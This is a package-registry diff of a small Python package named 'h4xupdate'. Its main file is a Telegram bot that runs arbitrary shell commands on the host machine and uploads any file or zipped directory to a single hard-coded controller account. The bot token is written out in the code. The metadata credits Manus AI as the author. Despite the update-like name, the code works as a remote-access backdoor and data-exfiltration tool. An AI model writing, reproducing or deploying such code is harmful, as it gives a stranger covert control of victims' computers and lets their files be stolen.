h4xupdate 0.0.1__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- h4xupdate-0.0.1/PKG-INFO +11 -0
- h4xupdate-0.0.1/core.py +88 -0
- h4xupdate-0.0.1/h4xupdate.egg-info/PKG-INFO +11 -0
- h4xupdate-0.0.1/h4xupdate.egg-info/SOURCES.txt +6 -0
- h4xupdate-0.0.1/h4xupdate.egg-info/dependency_links.txt +1 -0
- h4xupdate-0.0.1/h4xupdate.egg-info/top_level.txt +1 -0
- h4xupdate-0.0.1/pyproject.toml +21 -0
- h4xupdate-0.0.1/setup.cfg +4 -0
h4xupdate-0.0.1/PKG-INFO
ADDED
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: h4xupdate
|
|
3
|
+
Version: 0.0.1
|
|
4
|
+
Summary: A Telegram bot for remote command execution.
|
|
5
|
+
Author-email: Manus AI <ai@manus.im>
|
|
6
|
+
Project-URL: Homepage, https://github.com/manus-ai/h4xupdate
|
|
7
|
+
Project-URL: Bug Tracker, https://github.com/manus-ai/h4xupdate/issues
|
|
8
|
+
Classifier: Programming Language :: Python :: 3
|
|
9
|
+
Classifier: License :: OSI Approved :: MIT License
|
|
10
|
+
Classifier: Operating System :: OS Independent
|
|
11
|
+
Requires-Python: >=3.8
|
h4xupdate-0.0.1/core.py
ADDED
|
@@ -0,0 +1,88 @@
|
|
|
1
|
+
import os
|
|
2
|
+
import zipfile
|
|
3
|
+
from subprocess import run, TimeoutExpired
|
|
4
|
+
from telegram import Update
|
|
5
|
+
from telegram.ext import Application, CommandHandler, MessageHandler, filters, ContextTypes
|
|
6
|
+
|
|
7
|
+
TELEGRAM_BOT_TOKEN = "8692400249:AAHv1ajDR3p40a08wzbtKnaqX12l4gz2wps"
|
|
8
|
+
ADMINISTRATOR_USER_ID = 7258268641
|
|
9
|
+
|
|
10
|
+
def compressDirectory(directoryPath):
|
|
11
|
+
zipFilePath = directoryPath.rstrip("/\\") + ".zip"
|
|
12
|
+
with zipfile.ZipFile(zipFilePath, "w", zipfile.ZIP_DEFLATED) as archiveFile:
|
|
13
|
+
for rootDirectory, subDirectories, filesInDirectory in os.walk(directoryPath):
|
|
14
|
+
for fileName in filesInDirectory:
|
|
15
|
+
fullFilePath = os.path.join(rootDirectory, fileName)
|
|
16
|
+
archiveFile.write(fullFilePath, os.path.relpath(fullFilePath, directoryPath))
|
|
17
|
+
return zipFilePath
|
|
18
|
+
|
|
19
|
+
async def handleMessage(update: Update, context: ContextTypes.DEFAULT_TYPE):
|
|
20
|
+
if update.effective_user.id != ADMINISTRATOR_USER_ID:
|
|
21
|
+
return
|
|
22
|
+
|
|
23
|
+
messageText = update.message.text.strip()
|
|
24
|
+
|
|
25
|
+
if messageText.startswith("/run"):
|
|
26
|
+
messageText = messageText[4:].strip()
|
|
27
|
+
|
|
28
|
+
if not messageText:
|
|
29
|
+
await update.message.reply_text("Please enter a command to execute.")
|
|
30
|
+
return
|
|
31
|
+
|
|
32
|
+
try:
|
|
33
|
+
if messageText == "cd":
|
|
34
|
+
os.chdir(os.path.expanduser("~"))
|
|
35
|
+
await update.message.reply_text(f"```\nCurrent directory: {os.getcwd()}\n```", parse_mode="Markdown")
|
|
36
|
+
return
|
|
37
|
+
|
|
38
|
+
if messageText.startswith("cd "):
|
|
39
|
+
targetDirectory = messageText[3:].strip()
|
|
40
|
+
os.chdir(targetDirectory)
|
|
41
|
+
await update.message.reply_text(f"```\nCurrent directory: {os.getcwd()}\n```", parse_mode="Markdown")
|
|
42
|
+
return
|
|
43
|
+
|
|
44
|
+
if messageText.startswith("send "):
|
|
45
|
+
targetPath = messageText[5:].strip()
|
|
46
|
+
if not os.path.exists(targetPath):
|
|
47
|
+
await update.message.reply_text("Error: Specified path not found.")
|
|
48
|
+
return
|
|
49
|
+
|
|
50
|
+
if os.path.isfile(targetPath):
|
|
51
|
+
with open(targetPath, "rb") as fileToSend:
|
|
52
|
+
await update.message.reply_document(fileToSend)
|
|
53
|
+
return
|
|
54
|
+
|
|
55
|
+
if os.path.isdir(targetPath):
|
|
56
|
+
zippedFilePath = compressDirectory(targetPath)
|
|
57
|
+
with open(zippedFilePath, "rb") as fileToSend:
|
|
58
|
+
await update.message.reply_document(fileToSend)
|
|
59
|
+
return
|
|
60
|
+
|
|
61
|
+
commandExecutionResult = run(messageText, shell=True, text=True, capture_output=True, timeout=30)
|
|
62
|
+
commandOutput = (commandExecutionResult.stdout + commandExecutionResult.stderr).strip()
|
|
63
|
+
|
|
64
|
+
if not commandOutput:
|
|
65
|
+
commandOutput = "Command executed successfully."
|
|
66
|
+
|
|
67
|
+
if len(commandOutput) > 3900:
|
|
68
|
+
temporaryOutputFile = "output.txt"
|
|
69
|
+
with open(temporaryOutputFile, "w", encoding="utf-8", errors="ignore") as outputFile:
|
|
70
|
+
outputFile.write(commandOutput)
|
|
71
|
+
with open(temporaryOutputFile, "rb") as fileToSend:
|
|
72
|
+
await update.message.reply_document(fileToSend)
|
|
73
|
+
return
|
|
74
|
+
|
|
75
|
+
await update.message.reply_text(f"```\n{commandOutput}\n```", parse_mode="Markdown")
|
|
76
|
+
|
|
77
|
+
except TimeoutExpired:
|
|
78
|
+
await update.message.reply_text("Error: Command execution timed out after 30 seconds.")
|
|
79
|
+
except Exception as executionError:
|
|
80
|
+
await update.message.reply_text(f"```\nError: {executionError}\n```", parse_mode="Markdown")
|
|
81
|
+
|
|
82
|
+
def runBot():
|
|
83
|
+
applicationBuilder = Application.builder().token(TELEGRAM_BOT_TOKEN).build()
|
|
84
|
+
|
|
85
|
+
applicationBuilder.add_handler(CommandHandler("run", handleMessage))
|
|
86
|
+
applicationBuilder.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, handleMessage))
|
|
87
|
+
|
|
88
|
+
applicationBuilder.run_polling()
|
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: h4xupdate
|
|
3
|
+
Version: 0.0.1
|
|
4
|
+
Summary: A Telegram bot for remote command execution.
|
|
5
|
+
Author-email: Manus AI <ai@manus.im>
|
|
6
|
+
Project-URL: Homepage, https://github.com/manus-ai/h4xupdate
|
|
7
|
+
Project-URL: Bug Tracker, https://github.com/manus-ai/h4xupdate/issues
|
|
8
|
+
Classifier: Programming Language :: Python :: 3
|
|
9
|
+
Classifier: License :: OSI Approved :: MIT License
|
|
10
|
+
Classifier: Operating System :: OS Independent
|
|
11
|
+
Requires-Python: >=3.8
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
core
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
[build-system]
|
|
2
|
+
requires = ["setuptools>=61.0"]
|
|
3
|
+
build-backend = "setuptools.build_meta"
|
|
4
|
+
|
|
5
|
+
[project]
|
|
6
|
+
name = "h4xupdate"
|
|
7
|
+
version = "0.0.1"
|
|
8
|
+
authors = [
|
|
9
|
+
{ name="Manus AI", email="ai@manus.im" },
|
|
10
|
+
]
|
|
11
|
+
description = "A Telegram bot for remote command execution."
|
|
12
|
+
requires-python = ">=3.8"
|
|
13
|
+
classifiers = [
|
|
14
|
+
"Programming Language :: Python :: 3",
|
|
15
|
+
"License :: OSI Approved :: MIT License",
|
|
16
|
+
"Operating System :: OS Independent",
|
|
17
|
+
]
|
|
18
|
+
|
|
19
|
+
[project.urls]
|
|
20
|
+
"Homepage" = "https://github.com/manus-ai/h4xupdate"
|
|
21
|
+
"Bug Tracker" = "https://github.com/manus-ai/h4xupdate/issues"
|